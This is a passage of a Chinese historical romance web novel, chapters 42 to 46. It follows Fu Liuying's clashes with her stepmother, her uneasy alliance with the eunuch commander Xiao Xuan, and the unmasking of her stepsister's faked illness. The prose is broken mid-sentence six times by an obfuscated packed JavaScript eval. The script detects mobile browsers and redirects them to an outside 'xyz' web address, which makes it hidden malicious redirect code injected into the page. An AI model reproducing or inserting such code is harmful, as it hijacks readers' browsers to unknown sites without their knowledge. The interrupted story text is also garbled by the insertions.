柳飞燕气得浑身发抖，扬手就要打她耳光。傅流萤早有防备，一把扣住她的手腕，“母亲还是省省力气吧。您这一巴掌打下来，明日全京城都会知道，为了不让将军府蒙羞，母亲最好还是忍下来吧，我再送母亲一句话，小不忍则乱大谋。” 柳飞燕的手僵在半空，打也不是，放也不是，一张脸涨得通红。 “春芽，送客。”傅流萤松开手，转身走向内室，“告诉父亲，若有人敢私自放傅明雪出祠堂，就别怪我不顾念亲情，将某些见不得人的事捅到太后面前。” 柳飞燕闻言，双腿一软，差点跌坐在地。容佩慌忙扶住她，主仆二人灰溜溜地离开了芳华院。 待他们走后，春芽关上门，忍不住拍手称快：“小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972968|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐，您刚才太厉害了！夫人那张脸，青一阵白一阵的，活像吞了只苍蝇！” 傅流萤却没有丝毫喜悦，只是疲惫地揉了揉眉心。 “小姐，您肩膀的伤该换药了。”春芽见她神色疲惫，连忙转移话题。 傅流萤点点头，任由春芽帮她解开绷带。伤口已经结了一层薄痂，但周围仍有些红肿。 “小姐忍着点。”春芽小心翼翼地涂抹药膏，“这药是九千岁今早派人送来的，说是西域进贡的金疮药，效果极好。” 傅流萤闻言一怔，“萧玹派人来过？” “天刚亮就来了。”春芽点头，“除了金疮药，还有好多珍贵药材，都放在小库房里了。对了，那人还留了句话……” “什么话？” 春芽压低声音，“说雪魄莲已有消息，请小姐静候佳音。” 傅流萤眼中闪过一丝复杂之色。萧玹此人果然深不可测，连雪魄莲这等稀世奇珍都能在短时间内找到线索。 她还是凭借着前世的记忆，从傅明雪的嘴里听到过一些。 没想到萧玹都找到了。 “小姐，九千岁对您可真好。”春芽一边包扎一边感叹，“这么多珍贵药材，怕是皇宫里都少见呢。” “昨天你不还说他冷血无情吗……” “哎呀，小姐，那是昨天嘛，昨天不了解九千岁的性子，但是今天来看，他还是很在乎小姐的。” 傅流萤轻笑一声，“傻丫头，他那是有所图，这个世界上从来都没有无缘无故的好。” 春芽吐了吐舌头，不敢再多话。 换好药后，傅流萤走到书案前，提笔写下一张药方。 前世她曾在古籍上见过解“阎罗王”之法，如今正好派上用场。 “把这方子交给残风，让他按方抓药。”傅流萤将药方折好递给春芽，“记住，一定要亲手交给他。” 春芽刚离开不久，窗外忽然传来一阵轻微的响动。 傅流萤眼神一凛，迅速从枕下摸出一把**。 第四十二章 来去自如的九千岁 傅流萤握紧**，屏息凝神地盯着窗棂。 窗外树影婆娑，一道黑影如鬼魅般掠过，下一秒，窗户无声开启，一个颀长的身影跃入房中。 紧接着傅流萤就闻到了一股奇异的香味。 “傅大小姐真是好警惕。” 熟悉的冷冽嗓音在黑暗中响起，带着几分戏谑。 傅流萤紧绷的神经稍稍放松，但手中**仍未放下。 她皱眉看着眼前一身黑衣的萧玹，阳光透过窗纱，在他轮廓分明的脸上投下斑驳光影。 这**的，穿着一身黑衣，真怕别人不知道他的身份似的。 傅流萤翻了一个白眼。 “督主还真是胆大包天，光天化日之下擅闯女子闺房。”傅流萤压低声音，语气中带着明显的讥讽，“传出去怕是不好听吧？” 萧玹低笑一声，对她的讽刺不以为意。 他径直走到桌前坐下，动作优雅地为自己斟了杯茶，仿佛这是他的书房而非她的闺房。 傅流萤看着他这副自来熟的模样，气得咬了咬牙，“原来督主喜欢这样偷偷摸摸的做派啊，没想到一人之下万人之上的九千岁，喜欢这种做派。” 萧玹啜饮一口茶水，抬眸看她，眼中闪烁着危险的光芒，“本督行事，何须旁人置喙？傅流萤，你真是好大的胆子。 话音未落，他突然伸手，一把扣住傅流萤的手腕，稍一用力就将她拉入怀中。 傅流萤猝不及防，整个人跌坐在他腿上，手中的**“咣当”一声掉在地上。 一时之间傅流萤心跳如鼓。 这萧玹，能动手绝不动口。 真是忒不要脸。 “你……”傅流萤挣扎着要起身，却被萧玹铁钳般的手臂牢牢禁锢。 感受着男人吓人的力道，傅流萤忽然有些后悔。 昨天晚上就不应该那么快治好萧玹。 就应该一点一点帮他解毒，让毒日日夜夜的折磨着他。 “嘘，别动。”萧玹的唇几乎贴在她耳边，温热的气息拂过她敏感的耳垂。 那一瞬间傅流萤的身体紧绷着。 “外面有人。” 傅流萤身体一挺，果然听到院外有轻微的脚步声。 “既然督主知道将军府有人还敢光天化日来我的厢房？” 她停止挣扎，却仍不甘心地瞪着他，“督主这是何意？” “我知道督主向来放荡不羁，不在乎名声，可我到底还是个闺阁女子，难道督主想让我被外面人的唾沫星子给淹死吗？” 萧玹垂眸看她，两人距离近得能数清彼此的睫毛。 阳光下，傅流萤的肌肤如羊脂玉般莹润，那双总是含着讥诮的眼睛此刻因恼怒而格外明亮。 萧玹忽然发现，她身上那股淡淡的药香比任何名贵香料都要好闻。 他一向不近女色，可是现在闻着他身上那一股淡淡的药香竟然有一些沉醉其中。 从小到大他都是喝药长大的，那些苦的发涩的汤药味道他并不喜欢。 可是现在傅流萤身上的那股味道却是截然不同的，那是一股独特的香气。 没有药汁的苦涩，反而似乎带着一股清甜滋味。 “本督只是好奇。”萧玹的声音低 沉冰冷，可是落在人的耳朵里却又莫名的悦耳，“傅大小姐这身功夫是从何处学来的？傅家可没有这样诡异的**。” 萧玹半眯着眼睛，忽然回想起那天督主府**时，傅流萤的反应。 傅流萤感受到他胸膛传来的温度，心跳不受控制地加快。 她强迫自己冷静下来，嘴角勾起一抹冷笑，“督主突然造访，就是为了打探我的底细？” 萧玹的手指轻轻抚上她的下巴，迫使她直视自己的眼睛，“本督不喜欢谜团，尤其是近在咫尺的谜团。” 两人目光相接，一个冰冷如霜，一个炽热如火，在空气中碰撞出无形的火花。 傅流萤能清晰地看到他深邃眼眸中自己的倒影，还有那隐藏在冰冷表面下的危险正在蔓延着。 明明傅凛的身上冰冷，可是傅流萤却从他的语气里感受到了火热之意。 那一团火仿佛不经意间就会灼烧人把人吞噬的干干净净。 “督 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972969|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主若真想知道……”傅流萤忽然笑了，那笑容如昙花一现，美得惊心动魄，“不如先告诉我，为何会中阎罗王这种西域皇室秘传的蛊毒？” 萧玹眸色一沉，手指微微收紧，力道之大十分吓人。 “傅流萤，你在玩火。” “督主一言不合就喜欢掐人的毛病，真是一如既往。” 傅流萤毫不畏惧地迎上他的目光，好看的杏眼里清亮透彻，“至于督主说的玩火，彼此彼此而已，督主既然选择与我合作，就该明白，信任是相互的。” “合作？”萧玹冷笑了一声。 “你觉得你有什么资格配和本督合作？” 傅流萤院外的脚步声渐渐远去，萧玹却仍没有放开她的意思。 他修长的手指从她的下巴滑到脖颈，在那纤细的颈动脉处轻轻摩挲，仿佛是在思考要不要直接掐断这美丽的脖子。 “自然是督主身上的蛊毒只有流萤一个人能解，事关督主的身家性命，我相信督主不会弃之不顾的，所以我现在对督主有用处，还是大用处，督主也不必再想着费心试探我，我早就说过我与督主一荣俱荣一损俱损。” “我知道督主不会轻易相信别人，但是来日方长，督主总有一天会相信我的。” 傅流萤的眼神坚定。 自信的模样倒是让萧玹觉得有几分好奇。 “有趣。”良久，萧玹忽然松开手，“本督很久没遇到敢这么跟我说话的人了。” “那现在遇到了。” 傅流萤立刻从他腿上起身，退到安全距离外整理凌乱的衣裳。 她的心跳仍未平复，但面上已恢复了一贯的冷静。 和萧玹认识了这么久，傅流萤也算是摸透了几分他的性子。 “无事不登三宝殿，督主前来所为何事？”她捡起地上的**，重新藏回枕下。 萧玹慢条斯理地整了整衣袖，“药材可还满意？” “督主送来的，自然都是顶好的。”傅流萤走到梳妆台前，借着铜镜的反射观察萧玹的表情，“不过督主特意跑一趟，应该不只是为了这么一件小事吧？” 第四十三章 与虎谋皮 “七日后，北疆使团进京，为两国邦交而来，会献上他国重宝，其中就有一株千年人参。” “督主此话是何意？” 萧玹的目光落在了傅流萤的身上，“傅大小姐武功高强，想必这一株千年人参对于傅大小姐来说应该手到擒来吧？” 傅流萤手上的动作一顿，转身看他，“督主是要我去偷？” “傅大小姐要这么想，也确实没问题。”萧玹嘴角勾起一抹意味深长的笑，“那株人参是解阎罗王的关键药材之一。” 傅流萤冷笑一声，直视萧玹深邃的眸子，“督主这是想拖我下水？“ 萧玹起身，一步步逼近她，直到将她困在梳妆台与自己之间。 他俯身，薄唇几乎贴上她的耳廓。 炙热的呼吸自上而下，喷洒在傅流萤的脸上，有一些痒痒的。 “傅大小姐知道了我这么多秘密，本督甚是不安，总要有些把柄在手，才能睡得安稳，不是吗？” 傅流萤能感受到他身上散发出的压迫感，还有那若有若无的香气。 她抬头迎上他的目光：“若我不答应呢？” “你不会拒绝。”萧玹的手指轻轻抚过她肩上的伤口，即使隔着衣物，也能感受到。 萧玹的眸色深了深，眼底闪过了一丝复杂的情绪，“毕竟，我们现在是一条船上的人。” 傅流萤拍开他的手：“督主未免对我也太自信了。” “千年人参生长在极北苦寒之地，百年难遇。”萧玹不紧不慢地说，“错过了这次，再想找到可就难了，傅大小姐医术高明，应该明白这意味着什么。” 傅流萤沉默片刻。 她确实需要那株人参来配制解药，萧玹显然也清楚这一点，所以才会这么笃定。 这显然是一场危险的博弈，双方都在试探对方的底线。 “那伙人下榻鸿胪寺。”萧玹见她动摇，淡淡开口道，“他们住下当日，本督会派人接应你。” 傅流萤轻咬下唇，脑中飞速权衡利弊。 最终，她抬起头，“好，我答应你。不过有个条件。” 萧玹挑眉，“说。” “我要知道这毒的真实来历。”傅流萤直视他的眼睛，“全部。” 知己知彼才能百战百胜。 她对萧玹的了解还是太少了。 萧玹的眼神瞬间冷了下来，房内温度仿佛骤降。 他伸手捏住傅流萤的下巴，力道大得几乎要捏碎她的骨头，“好奇心会害死猫，傅大小姐。” 傅流萤疼得皱眉，却倔强地不肯示弱，“我这都是跟督主学的，督主的好奇心也不小。” 两人对峙片刻，萧玹忽然松开手，低笑出声，“有意思。等任务完成，本督会考虑告诉你一些事。” 他转身走向窗口，夜风吹起他的衣袍，勾勒出挺拔的背影。 临跃出窗前，他回头看了傅流萤一眼，“希望傅大小姐不会辜负本督的厚望。” 话音未落，他的身影已如鬼魅般消失了。 正如来时那般没有惊动任何人，现在也是，只余一缕若有若无的香气飘散在空气中。 傅流萤站在原地，久久未动。 她摸了摸仍有些发疼的下巴，眼中闪过一丝复杂的情绪。 萧玹这个人深不可测，与他合作无异于与虎谋皮，但她别无选择。 傅流萤指尖轻轻敲击着梳妆台，萧玹留下的那缕冷香还未散尽，春芽便急匆匆地闯了进来。 “小姐！祠堂那边出事了。” 春芽跑得气喘吁吁，“明雪小姐晕过去了，夫人已经赶过去，正闹着要带人出来呢。” 铜镜中，傅流萤的唇角勾起一抹冷笑。 她慢条斯理地将最后一支金簪插入发髻，簪头的珍珠在晨光中泛着冷冽的光泽。 “傅莽呢？” 发生这么大的事情，她的那位好父亲怎么能不在呢？ “将军一早就去了军营，说是边关急报。” 夏婵递上绣着暗纹的披风，小声道，“夫人已经叫了府医，说若是将军不允……就以死相逼。” 以死相逼？ 这种事情确实像那个蠢货会做出来的。 傅流萤轻笑出声，指尖抚过腰间悬挂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975728|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后令牌。 “那可真要好好看看，咱们这位傅夫人是如何以死相逼的。” 芳华院到祠堂不过一盏茶的路程，傅流萤却故意放慢脚步。 还未进门，傅明雪那带着哭腔的声音便飘了出来，“……都是女儿不好，平白让母亲受这样的委屈。” 傅明雪哭的委屈极了，“那香囊真不是凛哥哥送的，是他不小心掉在路上，女儿怕被有心人捡去污了凛哥哥名声，这才想着先贴身收起来等到以后寻到合适的机会再还给凛哥哥的。” “可我不知道怎么回事会被姐姐知道，还被姐姐捅了出来害得母亲和哥哥受人误解。” “我可怜的孩子。”柳飞燕的哭声更加凄厉，“你一片好心，却被人这般作践。” 傅流萤在门槛处驻足，冷眼看着祠堂内的景象。 傅明雪苍白着脸靠在柳飞燕怀中，眼角还挂着泪珠，而容佩正指挥两个粗使婆子收拾傅明雪的东西，俨然一副要解傅明雪禁足的意思。 “姐姐来了怎么不进来？” 傅明雪突然抬头，通红的眼睛里闪过一丝怨毒，声音却愈发柔弱，“是来看明雪笑话的吗？” 祠堂内瞬间安静下来。柳飞燕猛地转身，在看到傅流萤腰间令牌时明显瑟缩了一下，但很快又挺直腰背，“你来做什么？还嫌害得明雪不够？” 傅流萤缓步走入，绣鞋踩在青石板上发出轻微的声响。 她目光扫过供桌上歪歪扭扭的几张宣纸。 那上面抄写的《女戒》字迹潦草，墨迹未干处还有明显的水渍，显然是临时赶工的成果。 真是一点都不心诚啊…… 傅流萤眸色幽深。 “母亲这话说的奇怪。”傅流萤指尖挑起一张宣纸，“父亲罚妹妹抄写《女戒》千遍，这才完成不到十遍。” “你。”柳飞燕气得发抖，“没看见明雪都晕过去了吗？她从小身子弱，哪经得起这样折腾。” 傅流萤走到傅明雪面前蹲下，突然伸手扣住她的手腕。 手指精准地按在脉搏上，感受到指下脉搏强健有力，她眼中讥诮更甚。 第四十四章 身正不怕影子斜 傅流萤指尖微微用力，傅明雪吃痛，却不敢挣脱，只能咬着唇装出一副虚弱模样。 “姐姐……”傅明雪眼中含泪，“我知道你恨我，想要狠狠的惩罚我，可我也不是故意感染风寒，实在是妹妹这副身体太娇弱了，母亲又心疼我所以才一大早打扰了姐姐。” “妹妹说笑了。”傅流萤松开手，慢条斯理地站起身，“我怎会恨你？只是父亲有令在先，若就这么放你出去，岂不是让父亲难做。” 柳飞燕一把将傅明雪护在身后，“你少拿将军压人！明雪都病成这样了，你这个做姐姐的不心疼也就罢了，还在这里说风凉话！” 傅流萤轻笑一声，从袖中取出一方素白手帕，轻轻擦拭方才触碰过傅明雪的手指，好像触碰了什么脏东西一样。 “母亲既然说妹妹病了，那便请大夫来看看，若真染了风寒，女儿自会向父亲求情，免了妹妹的责罚。” 傅明雪闻言，身子微微一僵，抬头狐疑地看向傅流萤。 她不相信傅流萤会这么好心，指不定还有什么后招等着她。 “母亲……”傅明雪突然扑进柳飞燕怀里，抽泣道，“姐姐还是不信我，既然如此，不如让我跪死在祠堂算了！反正，反正也没人在乎我的死活。” 柳飞燕心疼地搂紧傅明雪，抬头怒视傅流萤，“你看看！明雪都疼成这样了，难不成还是装的？傅流萤，你到底还有没有良心！” 祠堂内烛火摇曳，映照在傅流萤沉静如水的面容上。 她唇角微扬，目光却冷得吓人。 “身正不怕影子斜。”傅流萤淡淡道，“若妹妹真病了，为何不敢让大夫来看。” 傅明雪眼珠转了转，突然抬头，“母亲，既然姐姐不信，那就请大夫来瞧瞧好了。” 她顿了顿，又补充道，“母亲，您派人去请吧。” 傅流萤双手环胸站在一旁，冷眼看着这对母女演戏。 她微微侧首，在夏婵耳边低语几句。 夏婵会意，悄悄退出祠堂。 柳飞燕见状，立刻对容佩道，“去请张大夫来，要快！” 容佩匆匆离去后，祠堂内陷入诡异的沉默。 傅流萤走到供桌前，随手翻看那些抄写拙劣的《女戒》，嘴角噙着一丝冷笑。 “姐姐。”傅明雪怯生生地开口，“我知道错了，以后再也不敢了。” 傅流萤头也不抬，“妹妹错在何处。” “我，我不该私藏男子的香囊，哪怕我真的是想帮凛哥哥，是出于好意，但是错了就是错了。”傅明雪说着，又委屈地看向柳飞燕。 “是吗。”傅流萤终于转过身，目光如刀，“那为何明雪妹妹和三哥有那么多次见面的时候，不早日还给三哥还一直贴身收藏着呢？” 傅明雪脸色一白，捏紧了手指，她不安的搅动着绣帕，“一时之间忘记了……” 傅流萤冷笑一声，眼底的嘲讽之意更甚。 傅明雪倒是聪明，既然解释不清这香囊的来历，干脆将错就错，卖惨博同情。 柳飞燕见状，立刻岔开话题，“够了！现在说明雪生病的事，你扯这些做什么。” “母亲这就急了？”傅流萤轻笑一声，“若当真问心无愧，又怕我问什么？还是说……” 她眸光一转，“母亲怕这种事传出去，不仅污了将军府的名声，更会毁了明雪妹妹和三哥的清誉？” 柳飞燕脸色骤变，强撑着冷哼，“你知道就好。” “母亲这是……害怕了？”傅流萤忽然笑靥如花，那笑容却让人不寒而栗，“人只有在心虚时才会害怕。看来母亲心里也清楚，这事经不起推敲。” “母亲还真是眼盲心瞎，不分是非黑白，枉费母亲还是将军府夫人，如此意气用事，只顾私情，不讲理，如何管好偌大的将军府？也难怪母亲带大的傅明雪会是这幅作派。” 傅明雪这番话可是把两个人都骂进去了。 “你居然敢教训我，大逆不道。” “不过是实话实说而已，难道我说的不是事实吗？”傅流萤把玩着耳边的碎发，神情冷冽。 柳飞燕张了张嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975729|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，却发现竟被堵得哑口无言，只能狠狠攥紧了帕子。 这个逆女！ 当初就不应该生下她。 恰在此时，容佩领着张大夫匆匆赶来。 “大夫，赶紧给我的女儿看一看。”柳飞燕着急的催促着。 张大夫放下药箱，跪了下来，“请小姐伸手。” 男女有别，所以张大夫拿了一条丝帕盖在了傅明雪的手腕上。 傅明雪背对着众人，悄悄褪下手腕上的翡翠镯子塞进大夫手中。 “大夫……”她虚弱地咳嗽两声，“我头晕目眩，膝盖疼得厉害，浑身也发烫……” 张大夫掂了掂手中沉甸甸的镯子，心领神会地捋须道，“小姐面色苍白，脉象虚浮，怕是染了风寒又兼膝盖受损，需好生调养才是。” “我就知道，明雪是绝对不会骗人的。”柳飞燕心疼的看着傅明雪，轻轻的拍着她的背哄着她，“她是我亲手带大的孩子，自然是善良的，不像有些人……” 这话虽然没有说完，可是话语里的意味不言而喻。 傅流萤在一旁静静的听着，脸上没有丝毫的声色变化。 对这些自私自利的人没了期待，自然也不会伤心。 “傅流萤，现在你应该无话可说了吧？我看你还怎么拦着明雪，不让她祠堂？” 傅流萤轻轻的笑了笑，“是父亲亲自下令把傅明雪关进的祠堂，母亲现在要接人出来，也应该得到父亲的允许才是。” “傅流萤，你想拿你父亲来压我不成？”柳飞燕还记着昨天不忙打她的一巴掌。 心里又怨又害怕。 “女儿只是觉得，这等大事还是要问过父亲才好。” “府中内宅之事皆由我掌管……” “吵什么？一大早就在祠堂闹的祖宗阴魂不安。” 一道冷厉的声音突然从祠堂外传来。 傅莽一身戎装大步踏入，铠甲上还带着晨露的湿气，显然是刚从军营赶回。 傅流萤余光瞥见夏婵悄悄退到角落，唇角微勾。 第四十五章 送去家庙 傅明雪见到父亲，眼中立刻涌出泪花，“父亲……” “怎么回事？”傅莽目光扫过众人，在傅流萤腰间的令牌上停留一瞬，眉头皱得更紧。 柳飞燕急忙上前，“将军，明雪身子不适，方才大夫瞧过……” “跪了一日就不适了？”傅莽冷声打断，“我傅家的儿女，何时这般娇弱了？” 傅明雪闻言一怔，难以置信地望着傅莽。 从前她稍有不适，父亲都会心疼不已，今日怎么就像是变了一个人似的？ 傅流萤冷眼旁观，心底嗤笑。 傅明雪自以为深得傅莽宠爱，却不知傅莽最是自私凉薄。 一旦触及他的利益，什么骨肉亲情都可抛却。 这次，傅明雪私藏傅凛的香囊，不管是真是假，到底是在傅莽的心里扎了一根针。 “将军。”柳飞燕急了，“张大夫方才诊断，明雪确实染了风寒，膝盖也跪肿了，如果再跪下去这双腿怕是要废了到时候明雪还怎么嫁人？” 傅莽看向张大夫，似是有些不相信，“当真？” 张大夫额头沁出冷汗，硬着头皮道，“回将军，小姐脉象虚浮，气血两亏，膝盖已经发炎，确实不适合再跪下去应当好好调理才是，否则这副身体只怕是遭不住。” “父亲。”傅流萤突然开口，“方才女儿也为明雪妹妹把过脉，脉象沉稳有力，倒不似有病之兆。” 傅莽悠悠的看了一眼傅流萤，眼底深处闪过了一抹复杂和忌惮。 “是么？”傅莽赶紧收回了视线，不想看傅流萤。 “不如父亲好好问一问这位大夫，是怎么把的脉？”傅流萤的眼神轻飘飘的从张大夫的身上略过。 张大夫腿一软，手中药箱“砰”地落地。 那翡翠镯子从袖中滚出，在青石板上发出清脆的声响。 祠堂内霎时死寂。 傅流萤的嘴角勾了勾，弯下腰把镯子从地上捡了起来。 她细细的看着这枚镯子的色泽，然后举到傅明雪的面前。 “如果我猜的不错的话，这镯子是明雪妹妹的吧，这明雪妹妹的镯子怎么会好端端的跑到张大夫的袖子里了？” 傅流萤眼波流转间眼底的嘲讽之意更深，“难不成是张大夫捡到了明雪妹妹的镯子，为保明雪妹妹清白，所以特意珍藏起来，日后好还给明雪妹妹？” 傅明雪的脸色一阵青一阵白。 在场的都是聪明人，岂会听不明白傅流萤的话里话外的嘲讽，分明就是借镯子暗指香囊。 傅莽的眉心突突地跳着。 想到香囊，傅莽的脸色阴沉的更加厉害了。 傅莽盯着那镯子，脸色阴沉如水，“说，这是什么，怎么会在你那里？” “这……这……”张大夫面如土色，扑通跪地，“将军饶命！是小姐硬塞给小的……” 傅明雪脸色煞白，身子晃了晃，这回是真的要晕过去了。 “好，好得很。”傅莽怒极反笑，“装病欺瞒，贿赂大夫，我傅家竟养出你这等不知廉耻的东西。” 柳飞燕慌忙跪下，“将军息怒！明雪年纪小不懂事……” “不懂事？”傅莽一脚踹翻供桌，笔墨纸砚哗啦散落一地，“私藏男子香囊在前，装病欺瞒在后，这就是你教出来的好女儿。” 柳飞燕一句话都说不出来。 就在这时，傅凛匆匆赶到。 “父亲，有什么事情冲着我来，千错万错都是我的错，明雪她是无辜的。” 傅凛直接跪在了傅莽的面前。 傅莽正在气头上，现在看到傅凛为了傅明雪毫不犹豫的下跪，气的胸口更加起伏。 正所谓男儿膝下有黄金。 傅凛为了一个女人动辄下跪，这让傅莽如何不气？ 他半眯着眼睛，冷冽的目光扫过傅凛。 以前他从未深想过，只当傅凛和傅明雪兄妹二人感情甚笃。 可是现在出了香囊的事情，傅莽不得不多想。 他绝对不允许将军府内出现养女和亲子出现不合礼法之事。 否则将军府的颜面何存？他傅莽的颜面又何存？ 他转向傅流萤，语气稍缓，“流萤，此事你怎么看？” 这一声“流萤”叫得亲切，与方才判若两人。傅流萤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路过傅明雪身边时，眼里只有满满的心疼。 傅明雪看都没看傅凛一眼，跪在地上求着傅莽，“父亲，明雪知道错了，明雪再也不敢了，求父亲饶了明雪这一次吧。” 第四十六章 傅莽的心思 无论傅明雪如何哭喊哀求，傅莽都无动于衷。 他冷着脸，目光扫过跪在地上的张大夫，眼中闪过一丝厌恶。 “来人！把这个欺上瞒下的庸医给我轰出将军府！” 傅莽厉声喝道，“日后若再让我在京城见到你行医，定不会轻饶了你！” 张大夫面如土色，连连磕头求饶，“将军饶命！将军饶命啊，我都是听从二小姐的吩咐办事，是二小姐教我这么做的，我是冤枉的……” 傅莽听着他高声大喊，脸色越来越冷。 他的眉心紧锁，示意身旁的两个家丁。 “把他的嘴堵上，丢出去。” 两个魁梧的小厮立刻上前，摁住了张大夫。 傅莽的脸色阴沉的很仿佛随时都能滴出水来。 “本将军警告你，若是让本将军再听到这些风言风语，就不只是赶你出京城那么简单了，如果你想要好好活着就管住你这张嘴。” 张大夫吓得面如土色，他真的会丢了性命，一句话都不敢再说。 小厮像拖死狗一般将他拖了出去。 傅莽冷哼一声，甩袖转身欲走。 在经过傅流萤身边时，脚步微顿，“流萤，等这边的事情处理完，来我书房一趟。” 他的声音冷硬，不容拒绝。 傅流萤微微欠身，眉眼之间弥漫着一层淡淡的冷意，“是，父亲。” 傅莽这个时候让她去书房。 一定没那么简单。 想必不仅仅是近日府中发生的事情。 很有可能涉及到他…… 傅流萤的目光微闪，嘴角勾起了一抹淡淡的弧度。 待傅莽的身影消失在祠堂外，柳飞燕终于崩溃地扑向傅明雪，母女俩抱头痛哭。 傅明雪哭得梨花带雨，好不可怜，“母亲救我……我不要去家庙……那里又冷又黑，我去了一定会没命的，母亲，自从我进将军府以来，从未离开过母亲身边半步，我不要离开母亲，我舍不得您……” “将军！您不能这样对明雪啊！”柳飞燕哭喊着，傅莽没有停下脚步，反而越走越快。 只给她们留下一个十分冷漠的背影。 傅流萤冷眼看着这一幕，唇角勾起一抹几不可见的冷笑。 还真是蠢啊，这个时候还把希望寄托在傅莽的身上。 傅莽亲自下的令，又怎么会在短短时间内就改变。 她缓步上前，对容佩道，“还愣着干什么？还不赶紧扶夫人下去休息？” 容佩迟疑地看了看柳飞燕，又看了看傅流萤腰间的太后令牌，脸色变了变。 “大小姐，您没看到夫人现在正哭着伤心吗？就当给夫人一点时间和明雪小姐做最后的道别。” 傅流萤淡淡的笑着，“道别？以后又不是没有机会见面了，现在需要道什么别？母亲还是赶紧回房休息吧，免得又惹得父亲不痛快。” 说完她冷冷的看向一旁的容佩，“还愣着干什么？” 容佩终究不敢违抗，上前搀扶柳飞燕，“夫人，眼下不是伤心的时候，最重要的是先安抚好将军。” “现在将军正在气头上，不管您说什么将军都听不进去的，等将军气消了，过段时间把明雪小姐接回来也不迟。” “当务之急，最重要的还是您和将军的夫妻情分，可莫要再发生昨天晚上的事情。” 柳飞燕现在哪里听得进去这些，一心一意只有她的宝贝女儿傅明雪。 她猛地抬头，眼中满是怨毒，“傅流萤！你非要这个家散了才开心吗？” 傅流萤连眼皮都懒得抬一下，只是对容佩使了一个眼色。 容佩会意，继续劝道，“夫人，可莫要为了一个外人惹得将军不快，影响了夫妻感情，真到了那时候，万一将军移情别人，到时候受苦的还是您啊……” “您和将军恩爱多年，感情甚笃，外头的那些夫人们谁不羡慕您嫁了个好丈夫，越是如此越应该小心经营夫妻关系，莫要生了嫌隙，这男人的心啊是最难把握的，咱们将军正值壮年又战功赫赫，外头想要嫁进这将军府的人一抓一大把，要是真因此事让府上多了几位娘子，那可才是真的搬起石头砸了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979897|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的脚。” 这话似乎戳中了柳飞燕的痛处。 她身子一僵，眼中闪过一丝恐惧。 容佩见状，连忙趁热打铁，“明雪小姐只是暂时去家庙住些日子，又不是不回来了，夫人您先保重自己，日后才好为明雪小姐周旋不是？” 容佩的声音不大不小，傅流萤也能听到。 没想到蠢笨如柳飞燕，身边居然还是有一个聪明又忠心耿耿的。 现在的女**多依附男人而生，男人便是天。 尤其是在后宫宅院中的女人。 更没有任何的自由可言，能依赖的只有丈夫或是儿子。 柳飞燕神色变幻，最终颓然松开了紧握傅明雪的手。 傅明雪的手里一空，下意识的想要去抓柳飞燕。 柳飞燕闭上了眼睛不忍心看傅明雪那张哭的满是泪痕的小脸。 “明雪，你放心，母亲一定会想尽办法早日把你接回来。” 柳飞燕站起身，临走前恶狠狠地瞪了傅流萤一眼，“你给我等着！” “母亲，母亲别走……”傅明雪哭着。 柳飞燕的脚步一顿。 随后也是越走越快。 傅流萤看着她的背影，微微一笑，“母亲慢走。” 